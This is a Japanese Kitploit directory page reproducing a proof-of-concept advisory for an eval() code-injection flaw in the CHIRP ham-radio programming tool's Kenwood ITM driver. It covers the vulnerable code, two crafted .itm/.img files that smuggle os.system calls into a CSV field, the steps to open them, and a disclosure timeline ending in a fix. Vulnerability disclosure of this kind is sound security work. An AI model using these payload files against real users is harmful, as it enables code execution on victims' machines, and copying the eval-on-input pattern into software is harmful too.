Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CHIRP-CodeExecution_via_Malicious_ImageFile — アマチュア無線プログラミングアプリケーションにおけるeval()インジェクションによる任意コード実行の概念実証エクスプロイト。悪意のある.itm/.imgファイルペイロードと根本原因分析を含む。 | Kitploit
ツール/GitHubGitHub/cduram/chirp-codeexecution_via_malicious_imagefile
脆弱性分析エクスプロイトペイロード開発
GitHubcduram/chirp-codeexecution_via_malicious_imagefile

CHIRP-CodeExecution_via_Malicious_ImageFile

アマチュア無線プログラミングアプリケーションにおけるeval()インジェクションによる任意コード実行の概念実証エクスプロイト。悪意のある.itm/.imgファイルペイロードと根本原因分析を含む。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
931ヶ月前未レビュー
共有

CHIRP — Kenwood ITM ドライバの eval() による任意コード実行

製品: CHIRP - アマチュア無線機のプログラミング用オープンソースプロジェクト。
影響を受けるバージョン: URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
影響を受けるバージョン: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)


概要

CHIRP の Kenwood ITM ファイル形式ドライバは、開かれたファイルの生の CSV フィールド値を検証なしで Python 組み込みの eval() に直接渡します。細工されたファイルを CHIRP ユーザーに届ける攻撃者は、被害者ユーザーとして任意コード実行を達成できます。

根本原因

chirp/drivers/kenwood_itm.py、_clean_tmode()、66~67 行目:

def _clean_tmode(self, headers, line, mem):
    rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG"))  # SINK
    ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG"))  # SINK

TXSIG と RXSIG の値は、開かれたファイル内の CSV 行から直接取得されます。eval() の前に型チェック、許可リスト、サンドボックス化は一切適用されません。

POC

以下に 2 つの POC を示します。

悪意のある .itm

// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0

悪意のある .img

// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0

 chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==

CHIRP での実行手順

  1. CHIRP を起動します。
  2. File → Open。
  3. {file_name}.img を選択します。.itm ペイロードを使用する場合は、フィルタのドロップダウンを 「All Files」 に変更してください(CHIRP では ITM はフィルタ対象外です)。
  4. {file_name}.itm を選択します。

開示

2026-8-17 -- 脆弱性を発見
2026-8-17 -- メンテナにメール送信
2026-8-17 -- メンテナが応答し、同日にコードを修正。https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- インストーラリリース 20260821 に修正が含まれる。
2026-8-22 -- NotCVE-2026-0013 が発行された。
2026-8-23 -- CVE-2026-78136 が発行された。

ツールをダウンロード